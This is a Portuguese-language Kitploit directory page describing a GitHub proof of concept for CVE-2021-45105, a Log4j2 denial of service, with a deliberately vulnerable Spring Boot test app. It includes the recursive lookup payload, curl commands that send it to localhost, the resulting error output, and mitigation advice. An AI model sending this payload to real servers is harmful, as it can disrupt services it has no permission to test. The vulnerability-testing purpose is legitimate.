Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Log4j_dos_CVE-2021-45105 — Exploit PoC para CVE-2021-45105 (DoS do Log4j2) com aplicação web Spring Boot, demonstrando loop infinito por meio de payloads de cabeçalho/corpo HTTP manipulados. | Kitploit
Ferramentas/GitHubGitHub/cckuailong/log4j_dos_cve-2021-45105
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubcckuailong/log4j_dos_cve-2021-45105

Log4j_dos_CVE-2021-45105

Exploit PoC para CVE-2021-45105 (DoS do Log4j2) com aplicação web Spring Boot, demonstrando loop infinito por meio de payloads de cabeçalho/corpo HTTP manipulados.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
131há 4 anosAinda não revisado
Compartilhar

Log4j2 DOS (CVE-2021-45105)

Poc

root@kitploit:~
${${::-${::-$${::-$}}}}

Versões Afetadas: todas as versões de 2.0-beta9 a 2.16.0

Esta aplicação é baseada em uma aplicação web Spring Boot vulnerável a CVE-2021-45105

Ela usa Log4j 2.16.0

Executando a aplicação

Execute:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

Etapas de exploração

  • Em seguida, dispare o exploit usando:
root@kitploit:~
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • Observe a saída mostrando loop infinito; no entanto, em testes não se constatou que esse DoS consumisse recursos, pois esse loop infinito é identificado pelo programa e termina com erro:
root@kitploit:~

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	

Mitigação:

Usuários de Java 8 (ou posterior) devem atualizar para a versão 2.17.0.

Alternativamente, isso pode ser mitigado na configuração:

No PatternLayout da configuração de logging, substitua Context Lookups como ${ctx:loginId} ou $${ctx:loginId} pelos padrões de Thread Context Map (%X, %mdc ou %MDC). Caso contrário, na configuração, remova referências a Context Lookups como ${ctx:loginId} ou $${ctx:loginId} quando elas tiverem origem em fontes externas à aplicação, como cabeçalhos HTTP ou entrada do usuário.

Referência

https://issues.apache.org/jira/browse/LOG4J2-3230

Baixar ferramenta